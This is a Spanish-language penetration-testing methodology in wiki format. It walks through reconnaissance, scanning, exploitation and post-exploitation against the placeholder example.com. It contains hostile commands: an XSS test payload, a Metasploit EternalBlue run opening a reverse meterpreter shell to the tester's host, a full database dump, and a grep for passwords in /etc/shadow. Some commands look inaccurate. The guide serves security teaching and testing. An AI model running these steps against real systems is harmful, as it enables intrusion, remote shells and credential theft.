====== Plan de pentesting ======

Plan exhaustivo de pentesting orientado a ser ejecutado en una máquina Linux en
modo texto. Incluye una combinación de técnicas automatizadas y manuales para
garantizar una evaluación de seguridad integral.

===== Fase de Reconocimiento =====

==== Recopilación de Información Pasiva ====

=== Whois Lookup ===

<code bash>
whois example.com
</code>

**Objetivo**: Obtener información de registro del dominio.

=== Consulta DNS ===

<code bash>
dig example.com
dig example.com MX
dig example.com NS
dig example.com ANY
</code>

**Objetivo**: Obtener registros DNS asociados con el dominio.

=== Buscar Subdominios ===

<code bash>
sublist3r -d example.com
</code>

**Objetivo**: Identificar subdominios relacionados con el dominio objetivo.

=== Buscar Metadatos en Documentos Públicos ===

<code bash>
   exiftool document.pdf
</code>

**Objetivo**: Extraer metadatos de archivos para obtener información
sensible.

==== Recopilación de Información Activa ====

=== Escaneo de Puertos ===

<code bash>
nmap -sS -sV -p- example.com
</code>

**Objetivo**: Identificar puertos abiertos y servicios que se están
ejecutando.

=== Enumeración de Servicios ===

<code bash>
nmap -sV -p [puertos] example.com
</code>
   
**Objetivo**: Determinar versiones de servicios para detectar posibles
vulnerabilidades.

===== Fase de Análisis de Vulnerabilidades =====

==== Escaneo de Vulnerabilidades ====

=== Nmap con Scripts NSE ===
<code bash>
nmap --script vuln -p [puertos] example.com
</code>

**Objetivo**: Usar scripts NSE para identificar vulnerabilidades específicas.

=== Escaneo de Vulnerabilidades con OpenVAS ===

<code bash>
openvas-start
openvas-check-setup
openvas-scan-target example.com
</code>

**Objetivo**: Utilizar OpenVAS para escanear vulnerabilidades conocidas.

==== Análisis de Vulnerabilidades Web ====

=== Nikto ===

<code bash>
nikto -h example.com
</code>

**Objetivo**: Identificar configuraciones inseguras y vulnerabilidades en
servidores web.

=== Wpscan (para sitios WordPress) ===

<code bash>
wpscan --url example.com
</code>

**Objetivo**: Identificar vulnerabilidades en sitios web que utilizan
WordPress.

=== Gobuster ===

<code bash>
gobuster dir -u example.com -w /usr/share/wordlists/dirb/common.txt
</code>

**Objetivo**: Fuerza bruta de directorios y archivos comunes en el servidor
web.

===== Fase de Explotación =====

==== Explotación de Servicios y Aplicaciones ====

=== Metasploit Framework ===

<code bash>
msfconsole
search [vulnerability]
use exploit/[exploit_path]
set RHOST example.com
set RPORT [puerto]
run
</code>

**Objetivo**: Utilizar Metasploit para explotar vulnerabilidades conocidas.

=== Explotación Manual ===

  * **Ejemplo de SQL Injection**

<code bash>
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs
</code>

**Objetivo**: Identificar y explotar inyecciones SQL.

  * **Ejemplo de XSS (Cross-Site Scripting)**

<code bash>
curl "http://example.com/search.php?query=<script>alert('XSS')</script>"
</code>

**Objetivo**: Probar inyección de scripts maliciosos en campos de entrada.

==== Explotación de Redes ====

=== Explotación de SMB (EternalBlue) ===

<code bash>
nmap --script smb-vuln* -p 445 example.com
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST example.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [tu_IP]
run
</code>
   
**Objetivo**: Explotar vulnerabilidades SMB conocidas (MS17-010).

===== Post-Explotación =====

==== Elevación de Privilegios ====

=== Búsqueda de SUID Binaries ===

<code bash>
find / -perm -u=s -type f 2>/dev/null
</code>

**Objetivo**: Encontrar binarios SUID para posible elevación de privilegios.

=== Enumeración de Servicios y Cron Jobs ===

<code bash>
ps aux
crontab -l
</code>

**Objetivo**: Identificar posibles vectores para elevación de privilegios.

==== Extracción de Datos ====

=== Dump de Bases de Datos ===

<code bash>
mysqldump -u root -p --all-databases > all_databases.sql
</code>

**Objetivo**: Extraer bases de datos completas.

=== Extracción de Contraseñas en Texto Claro ===

<code bash>
grep -i "password" /etc/passwd /etc/shadow /var/www/html/config.php
</code>

**Objetivo**: Buscar contraseñas almacenadas en texto claro en archivos de
configuración.

===== Referencias de Documentación =====

  * **Nmap NSE Documentation**: [[https://nmap.org/book/nse.html|Nmap Scripting Engine (NSE) Documentation]]
  * **Nikto Documentation**: [[https://cirt.net/nikto2|Nikto Documentation]]
  * **SQLMap Documentation**: [[http://sqlmap.org/|SQLMap Documentation]]
  * **Gobuster Documentation**: [[https://github.com/OJ/gobuster|Gobuster Documentation]]
  * **Metasploit Framework Documentation**: [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]]